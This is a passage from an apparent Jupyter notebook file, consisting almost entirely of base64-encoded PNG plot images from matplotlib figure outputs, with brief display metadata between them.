2FKZ+EUK4\n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\nJEmSJElq4jdzrVD2EaKxrgAAAABJRU5ErkJggg==\n", "text/plain": [ "<matplotlib.figure.Figure at 0x1c203047f0>" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "image/png": "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